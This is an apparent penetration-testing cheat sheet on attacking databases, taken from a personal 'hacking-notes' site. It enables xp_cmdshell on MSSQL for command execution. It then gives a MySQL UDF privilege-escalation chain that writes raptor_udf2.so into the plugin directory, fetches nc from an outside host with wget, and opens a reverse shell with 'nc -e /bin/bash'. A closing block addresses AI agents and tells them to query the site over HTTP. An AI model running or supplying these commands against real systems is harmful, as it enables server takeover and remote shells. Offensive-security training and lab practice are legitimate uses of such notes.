# Databases

### MSSQL

Login:

```
mssqlclient.py username:password@<targetName or address>
 
OR 
edit the /etc/freetds/freetds.conf file:
[HOST]
        host = IP
        port = 1435
        tds version = 8.0
create a ~/.sqshrc file:
\set username=USERNAME
\set password=PASSWORD
\set style=vert
```

Privesc/ execution:

```
EXEC sp_configure 'show advanced option', '1';
go
RECONFIGURE WITH OVERRIDE;
go
EXEC sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE;
go
EXEC sp_configure 'show advanced option';
go
-------------[CHECK IT WORKS]------------
xp_cmdshell 'whoami';
```

### MySQL / MariaDB

Login:

```
mysql -uUSER -pPASS -H HOST
```

Commands:

```
show database;
use DATABASE;
show tables;
select * from table;
show variables like 'plugin_dir';
```

UDF:&#x20;

```
create table foo(line blob);

insert into foo values(load_file('/var/www/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so';

select * from mysql.func;

select do_system('id > /var/www/out; chown www-data.www-data /var/www/out');

select do_system('wget http://192.168.49.246:8295/nc -O /var/www/nc');
select do_system('/var/www/nc 192.168.49.246 8295 -e /bin/bash');
```

### PostGreSQL

Login:

### MongoDB

Login:


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://f1rstbyt3.gitbook.io/hacking-notes/web-application/databases.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
